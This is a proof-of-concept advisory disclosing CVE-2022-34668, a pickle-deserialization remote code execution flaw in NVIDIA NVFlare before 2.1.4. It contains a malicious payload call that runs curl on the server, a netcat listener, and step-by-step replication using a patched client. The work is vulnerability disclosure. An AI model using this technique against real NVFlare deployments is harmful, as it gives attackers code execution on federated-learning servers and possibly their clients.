NVFLARE < 2.1.4 - Unsafe Deserialization due to Pickle

# Exploit Title: NVFLARE < 2.1.4 - Unsafe Deserialization due to Pickle
# Exploit Author: Elias Hohl
# Google Dork: N/A
# Date: 2022-06-21
# Vendor Homepage: https://www.nvidia.com
# Software Link: https://github.com/NVIDIA/NVFlare
# Version: < 2.1.4
# Tested on: Ubuntu 20.04
# CVE : CVE-2022-34668

https://medium.com/@elias.hohl/remote-code-execution-in-nvidia-nvflare-c140bb6a2d55

There is a Remote Code Execution vulnerability https://github.com/NVIDIA/NVFlare. It is possible to execute arbitrary commands on the server for connected clients. It was not investigated if server can also execute commands on all clients (I expect this though, as it is by design required for the server to instruct the clients to execute commands if they need to train specific models). The consequence would be that a client can gain Remote Code Execution on the server an ALL connected clients.

The vulnerability exists due to the deserialization of user data with the pickle module. There are multiple places where this is done, I considered line 568 on private/fed/server/fed_server.py the occurrence that is accessible with the least efforts and thus used it in my PoC-Exploit.

The client generates a malicious data packet like this: aux_message.data["fl_context"].CopyFrom(bytes_to_proto(generate_payload('curl http://127.0.0.1:4321')))



REPLICATION

This example uses the server in poc-mode. The provision mode seems to run the same code in fed_server.py though and should be vulnerable as well. (To my understanding, the modes differ only regarding credentials).

This exploit replicates the Quickstart tutorial https://nvidia.github.io/NVFlare/quickstart.html with a maliciously modified client to execute commands on the server.

Make sure to use Python 3.8, the nightly builds don't work with Python >=3.9.

sudo apt update
sudo apt-get install python3-venv curl

python3 -m venv nvflare-env

source nvflare-env/bin/activate

python3 -m pip install -U pip
python3 -m pip install -U setuptools
python3 -m pip install torch torchvision tensorboard

git clone https://github.com/NVIDIA/NVFlare.git
cd NVFlare
git checkout 2.1.2
git apply nvflare-exploit-apply.txt  # note that this only modifies the client side code
python3 -m pip install .

cd
poc -n 2

mkdir -p poc/admin/transfer
cp -rf NVFlare/examples/* poc/admin/transfer

In four separate terminals, execute (after running source nvflare-env/bin/activate in each one):

./poc/server/startup/start.sh

./poc/site-1/startup/start.sh

./poc/site-2/startup/start.sh

./poc/admin/startup/fl_admin.sh localhost

In another terminal window, fire up a netcat instance to verify that Remote Code Execution is possible:
nc -lvp 4321

In the admin console, execute:

check_status server

to verify both clients are connected. Then:

submit_job hello-pt-tb

It will take a few minutes until the job finishes downloading the required files, then you should see a connection in the netcat tab and error messages in the server tab (because the received pickle payload is no data that the program can continue working with). You can also shutdown netcat, which will result in "Connection refused" errors in the server tab.